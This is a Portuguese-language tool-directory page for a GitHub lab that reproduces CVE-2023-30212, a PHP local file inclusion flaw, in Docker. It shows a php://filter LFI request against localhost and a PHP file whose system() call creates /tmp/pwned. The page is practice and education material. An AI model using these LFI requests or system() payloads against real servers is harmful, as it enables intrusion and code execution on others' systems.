Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2023-30212 — PoC para CVE-2023-30212 usando Docker | Kitploit
Ferramentas/GitHubGitHub/sungmin20/cve-2023-30212
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubsungmin20/cve-2023-30212

cve-2023-30212

PoC para CVE-2023-30212 usando Docker

Ver Repositório
5há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

cve-2023-30212

PoC para CVE-2023-30212 usando Docker

CVE-2023-30212 Construção do Ambiente e Relatório PoC

📌 Visão Geral

Este relatório contém a configuração manual de um ambiente web vulnerável baseado em Docker para a vulnerabilidade CVE-2023-30212, que não está presente no Vulhub, e a validação dessa vulnerabilidade através de um PoC.

  • Número CVE: CVE-2023-30212
  • Descrição da vulnerabilidade: Possibilidade de execução remota de código via LFI (Local File Inclusion) em PHP
  • Dificuldade: Avançado (configuração de ambiente não disponível no Vulhub)

🔧 Configuração do Ambiente

1. Configuração do Dockerfile e docker-compose

  • Imagem base: php:8.1-apache
  • Copiar vulnerable.php e malicious.php para o diretório /var/www/html
  • Acesso externo pela porta 8088 Construção Docker

2. Descrição dos Arquivos Principais

Nome do arquivoDescrição
vulnerable.phpArquivo PHP com vulnerabilidade LFI
malicious.phpArquivo PHP malicioso que executa comandos do sistema
docker-compose.ymlArquivo de configuração para o contêiner
DockerfileArquivo de configuração para criação da imagem Docker
imagem imagem imagem imagem

🚀 Fluxo de Execução da Vulnerabilidade (PoC)

1. Executar o Contêiner

docker-compose up -d

Nome do contêiner: cve-2023-30212-cve-lfi-1

O servidor Apache será iniciado e estará acessível em http://localhost:8088

  1. Verificar o Código Fonte do Arquivo Malicioso via LFI Invoque a URL abaixo para visualizar o conteúdo de malicious.php codificado em base64:
http://localhost:8088/vulnerable.php?file=php://filter/convert.base64-encode/resource=malicious.php
base64

Decodificando o resultado, o seguinte código PHP é exibido:

<?php system("touch /tmp/pwned"); ?>
imagem
  1. Executar o Comando e Verificar o Resultado Invoque a URL abaixo para executar o comando:
http://localhost:8088/malicious.php

Após a execução, o arquivo /tmp/pwned deve ser criado.

docker exec -it cve-2023-30212-cve-lfi-1 ls /tmp

Se o arquivo pwned estiver presente no resultado, o teste foi bem-sucedido.

Arquivo pwned

Resumo dos Resultados

Verificação e decodificação bem-sucedidas do conteúdo do arquivo malicioso através da vulnerabilidade LFI baseada em php://filter Execução bem-sucedida de comandos arbitrários através da chamada do PHP malicioso contendo a função system() Criação do arquivo /tmp/pwned, confirmando a validação do PoC

Baixar ferramenta